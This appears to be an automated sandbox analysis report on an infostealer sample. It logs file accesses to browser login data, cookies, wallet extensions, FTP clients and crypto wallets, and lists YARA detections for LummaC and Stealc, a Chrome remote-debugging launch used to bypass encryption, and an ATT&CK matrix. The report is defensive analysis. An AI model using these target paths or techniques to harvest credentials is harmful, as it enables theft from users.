Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior

Source: Yara match	File source: 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3231030291.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2978992587.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3135467108.0000000001011000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3220379720.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3233138119.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3261656724.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2972144892.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3071939046.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3228403714.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3135695992.0000000001017000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3093554780.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3261656724.0000000000F99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3170698705.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.3071848615.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3218476120.0000000001010000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 2576, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ba17bbfb21.exe PID: 3380, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 79ddad050f.exe PID: 2576, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.3254990045.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3255076281.0000000000251000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2997152380.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3265209742.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.3165593747.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e051bdf457.exe PID: 5312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0021EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	6_2_0021EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0021DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	6_2_0021DF51
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E1307A sqlite3_transfer_bindings,	9_2_61E1307A
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D5E6 sqlite3_bind_int64,	9_2_61E2D5E6
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D595 sqlite3_bind_double,	9_2_61E2D595
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E0B431 sqlite3_clear_bindings,	9_2_61E0B431
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E037F3 sqlite3_value_frombind,	9_2_61E037F3
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D781 sqlite3_bind_zeroblob64,	9_2_61E2D781
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D714 sqlite3_bind_zeroblob,	9_2_61E2D714
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D68C sqlite3_bind_pointer,	9_2_61E2D68C
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D65B sqlite3_bind_null,	9_2_61E2D65B
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D635 sqlite3_bind_int,	9_2_61E2D635
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D9B0 sqlite3_bind_value,	9_2_61E2D9B0
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D981 sqlite3_bind_text16,	9_2_61E2D981
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D945 sqlite3_bind_text64,	9_2_61E2D945
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D916 sqlite3_bind_text,	9_2_61E2D916
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D8E7 sqlite3_bind_blob64,	9_2_61E2D8E7
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E038CA sqlite3_bind_parameter_count,	9_2_61E038CA
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E158CA sqlite3_bind_parameter_index,	9_2_61E158CA
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E038DC sqlite3_bind_parameter_name,	9_2_61E038DC
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Code function: 9_2_61E2D8B8 sqlite3_bind_blob,	9_2_61E2D8B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	311 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
